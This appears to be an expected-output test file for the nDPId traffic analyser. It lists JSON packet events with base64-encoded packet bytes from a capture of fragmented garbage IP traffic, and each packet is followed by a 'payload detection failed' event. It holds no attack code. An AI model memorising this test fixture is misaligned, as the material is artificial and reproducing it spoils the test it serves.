+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300223,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300237,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300249,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300442,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300455,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300474,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300501,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300526,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 